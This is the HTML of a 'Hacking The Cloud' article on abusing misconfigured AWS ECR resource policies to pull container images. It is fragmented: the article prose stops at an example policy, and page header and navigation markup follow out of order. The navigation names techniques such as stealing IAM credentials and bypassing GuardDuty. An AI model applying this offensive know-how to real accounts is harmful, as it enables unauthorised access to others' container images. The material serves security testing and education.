Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-ecrgetauthorizationtoken class=md-nav__link> <span class=md-ellipsis> Understanding ecr:GetAuthorizationToken </span> </a> </li> <li class=md-nav__item> <a href=#downloading-containers class=md-nav__link> <span class=md-ellipsis> Downloading Containers </span> </a> </li> <li class=md-nav__item> <a href=#uploading-containers class=md-nav__link> <span class=md-ellipsis> Uploading Containers </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Misconfigured ECR Resource Policies</h1> <p>AWS Elastic Container Registry (ECR) <a href=https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html>private repositories</a> use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >misconfigured</a> and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Aside from the <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks>wildcard principal</a>, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.</p> </div> <h2 id=understanding-ecrgetauthorizationtoken>Understanding ecr:GetAuthorizationToken<a class=headerlink href=#understanding-ecrgetauthorizationtoken title="Permanent link">&para;</a></h2> <p>A unique <a href=https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy>requirement</a> to abusing misconfigured resource-based policies in ECR is <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html>ecr:GetAuthorizationToken</a>. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the <code>Action</code> element is <code>ecr:*</code>). For scenarios in which the policy has a <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks>wildcard principal</a> and a broken policy, this is not a problem as you can create a role with the needed permission.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>When interacting with an ECR private repository via the <a href=https://github.com/docker/cli>Docker</a> cli, you use <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html>ecr:GetLoginPassword</a> to authenticate. This calls <code>ecr:GetAuthorizationToken</code> to provide the needed authorization.</p> </div> <h2 id=downloading-containers>Downloading Containers<a class=headerlink href=#downloading-containers title="Permanent link">&para;</a></h2> <p><strong>Required Permissions</strong>: <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html>ecr:GetLoginPassword</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/batch-get-image.html>ecr:BatchGetImage</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-download-url-for-layer.html>ecr:GetDownloadURLForLayer</a>.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#understanding-ecrgetauthorizationtoken class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-ecrgetauthorizationtoken class=md-nav__link> <span class=md-ellipsis> Understanding ecr:GetAuthorizationToken </span> </a> </li> <li class=md-nav__item> <a href=#downloading-containers class=md-nav__link> <span class=md-ellipsis> Downloading Containers </span> </a> </li> <li class=md-nav__item> <a href=#uploading-containers class=md-nav__link> <span class=md-ellipsis> Uploading Containers </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a 